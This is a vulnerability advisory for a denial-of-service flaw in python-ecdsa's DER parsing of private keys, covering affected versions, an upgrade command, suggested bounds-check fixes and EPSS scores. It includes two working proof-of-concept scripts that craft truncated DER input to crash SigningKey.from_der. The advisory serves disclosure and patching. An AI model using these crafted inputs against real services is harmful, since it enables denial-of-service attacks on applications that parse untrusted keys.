Loading advisory.
Loading advisory.
python-ecdsa: Denial of Service via improper DER length validation in crafted private keys
An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.
Published 2026-03-27 15:56 UTC · Modified 2026-09-10 03:51 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| ecdsa | PyPI | < 0.19.2 versions 0.10, 0.11, 0.12, 0.13, 0.13.1, 0.13.2, 0.13.3, 0.14, 0.14.1, 0.15, 0.16.0, 0.16.1, 0.17.0, 0.18.0, 0.18.0b1, 0.18.0b2, 0.19.0, 0.19.1, 0.6, 0.7 and 2 more | 0.19.2 | pip install --upgrade 'ecdsa>=0.19.2' |
An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.
ecdsa.der.remove_octet_string() accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.
Because of that, a crafted DER input can cause SigningKey.from_der() to raise an internal exception (IndexError: index out of bounds on dimension 1) rather than cleanly rejecting malformed DER (e.g., raising UnexpectedDER or ValueError). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.
Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.
Attach and run the following PoCs:
from ecdsa.der import remove_octet_string, UnexpectedDER
# OCTET STRING (0x04)
# Declared length: 0x82 0x10 0x00 -> 4096 bytes
# Actual body: only 3 bytes -> truncated DER
bad = b"\x04\x82\x10\x00" + b"ABC"
try:
body, rest = remove_octet_string(bad)
print("[BUG] remove_octet_string accepted truncated DER.")
print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest))
print("Body=", body)
print("Rest=", rest)
except UnexpectedDER as e:
print("[OK] Rejected malformed DER:", e)Expected: reject malformed DER when declared length exceeds available bytes
Actual: accepts the truncated DER and returns a shorter body
Example output:
Parsed body_len= 3 rest_len= 0 (while declared length is 4096)from ecdsa import SigningKey, NIST256p
import ecdsa
print("ecdsa version:", ecdsa.__version__)
sk = SigningKey.generate(curve=NIST256p)
good = sk.to_der()
print("Good DER len:", len(good))
def find_crashing_mutation(data: bytes):
b = bytearray(data)
# Try every OCTET STRING tag position and corrupt a short-form length byte
for i in range(len(b) - 4):
if b[i] != 0x04: # OCTET STRING tag
continue
L = b[i + 1]
if L >= 0x80:
# skip long-form lengths for simplicity
continue
max_possible = len(b) - (i + 2)
if max_possible <= 10:
continue
# Claim more bytes than exist -> truncation
newL = min(0x7F, max_possible + 20)
b2 = bytearray(b)
b2[i + 1] = newL
try:
SigningKey.from_der(bytes(b2))
except Exception as e:
return i, type(e).__name__, str(e)
return None
res = find_crashing_mutation(good)
if res is None:
print("[INFO] No exception triggered by this mutation strategy.")
else:
i, etype, msg = res
print("[BUG] SigningKey.from_der raised unexpected exception type.")
print("Offset:", i, "Exception:", etype, "Message:", msg)Expected: reject malformed DER with UnexpectedDER or ValueError
Actual: deterministically triggers an internal IndexError (DoS risk)
Example output:
Result: (5, 'IndexError', 'index out of bounds on dimension 1')Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in remove_sequence():
remove_octet_string()
remove_constructed()
remove_implicit()
Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as UnexpectedDER to avoid crashy failure modes.
Mohamed Abdelaal (@0xmrma)
Exploit code or a detection template for this CVE is published by the sources below. This is not a report of use against real systems (that is what CISA KEV records) and it does not change the tier.
EPSS went from 0.005 on 2026-11-24 to 0.006 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.005 | first score | v2026.06.15 |
| 2026-11-26 | 0.006 | 0.005 | v2026.06.15 |